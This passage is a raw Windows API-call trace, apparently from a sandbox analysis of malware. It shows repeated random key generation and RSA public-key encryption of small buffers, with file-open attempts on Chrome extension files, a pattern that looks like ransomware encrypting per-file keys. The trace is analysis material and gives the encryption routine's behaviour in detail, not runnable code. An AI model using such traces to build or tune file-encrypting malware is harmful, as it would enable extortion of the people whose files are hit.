hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0243.622] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.622] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0243.625] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783ac8) returned 1 [0243.625] CryptGetKeyParam (in: hKey=0x6783ac8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.625] CryptEncrypt (in: hKey=0x6783ac8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb680000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xb680000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0243.625] GetLastError () returned 0x0 [0243.625] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.625] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0243.627] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783a48) returned 1 [0243.627] CryptGetKeyParam (in: hKey=0x6783a48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.627] CryptEncrypt (in: hKey=0x6783a48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb690000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xb690000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0243.627] GetLastError () returned 0x0 [0243.627] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.627] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.628] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0243.630] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.632] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.632] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0243.632] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.633] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0243.635] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.637] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.637] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0243.637] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.637] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0243.640] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783dc8) returned 1 [0243.640] CryptGetKeyParam (in: hKey=0x6783dc8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.640] CryptEncrypt (in: hKey=0x6783dc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xb6a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0243.640] GetLastError () returned 0x0 [0243.640] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.640] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0243.642] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783e88) returned 1 [0243.649] CryptGetKeyParam (in: hKey=0x6783e88, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.649] CryptEncrypt (in: hKey=0x6783e88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xb6b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0243.649] GetLastError () returned 0x0 [0243.649] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0243.649] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.650] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0243.653] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.655] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.657] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0243.657] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.657] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0243.660] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.662] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.662] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0243.662] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.663] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0243.665] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783d48) returned 1 [0243.665] CryptGetKeyParam (in: hKey=0x6783d48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.665] CryptEncrypt (in: hKey=0x6783d48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbec0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xbec0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0243.665] GetLastError () returned 0x0 [0243.665] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.665] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0243.667] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783b08) returned 1 [0243.667] CryptGetKeyParam (in: hKey=0x6783b08, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.667] CryptEncrypt (in: hKey=0x6783b08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbed0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xbed0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0243.668] GetLastError () returned 0x0 [0243.668] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0243.668] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.668] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0243.671] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.674] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.674] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0243.674] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.674] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0243.677] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.679] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.679] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0243.679] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.680] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0243.682] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783bc8) returned 1 [0243.682] CryptGetKeyParam (in: hKey=0x6783bc8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.682] CryptEncrypt (in: hKey=0x6783bc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbee0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xbee0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0243.682] GetLastError () returned 0x0 [0243.682] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0243.682] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0243.684] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6784648) returned 1 [0243.684] CryptGetKeyParam (in: hKey=0x6784648, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.684] CryptEncrypt (in: hKey=0x6784648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbef0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xbef0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0243.684] GetLastError () returned 0x0 [0243.684] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.684] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.685] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0243.688] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.690] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.690] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0243.690] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.691] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0243.694] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.696] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.696] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0243.696] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0243.696] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0243.699] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67846c8) returned 1 [0243.699] CryptGetKeyParam (in: hKey=0x67846c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.699] CryptEncrypt (in: hKey=0x67846c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xbf00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0243.699] GetLastError () returned 0x0 [0243.699] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.699] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0243.702] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6784848) returned 1 [0243.702] CryptGetKeyParam (in: hKey=0x6784848, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.702] CryptEncrypt (in: hKey=0x6784848, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xbf10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0243.702] GetLastError () returned 0x0 [0243.702] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.702] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.702] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0243.706] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.709] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.710] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0243.710] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.710] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0243.713] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.716] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.716] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0243.716] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.717] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0243.719] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6784248) returned 1 [0243.719] CryptGetKeyParam (in: hKey=0x6784248, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.719] CryptEncrypt (in: hKey=0x6784248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf20000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xbf20000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0243.720] GetLastError () returned 0x0 [0243.720] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.720] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0243.723] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67847c8) returned 1 [0243.723] CryptGetKeyParam (in: hKey=0x67847c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.723] CryptEncrypt (in: hKey=0x67847c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf30000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xbf30000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0243.723] GetLastError () returned 0x0 [0243.723] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.723] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.724] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0243.727] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.730] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.734] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0243.734] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.734] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0243.738] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.740] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.741] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0243.741] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.741] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0243.743] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6784448) returned 1 [0243.743] CryptGetKeyParam (in: hKey=0x6784448, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.743] CryptEncrypt (in: hKey=0x6784448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xbf40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0243.744] GetLastError () returned 0x0 [0243.744] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.744] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0243.745] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6784188) returned 1 [0243.746] CryptGetKeyParam (in: hKey=0x6784188, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0243.746] CryptEncrypt (in: hKey=0x6784188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbf50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xbf50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0243.746] GetLastError () returned 0x0 [0243.746] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.746] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.749] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0243.752] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.755] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.755] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0243.755] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0243.755] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0243.759] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0243.761] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0243.761] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0243.761] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0243.762] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0243.764] CryptImportKey (in: 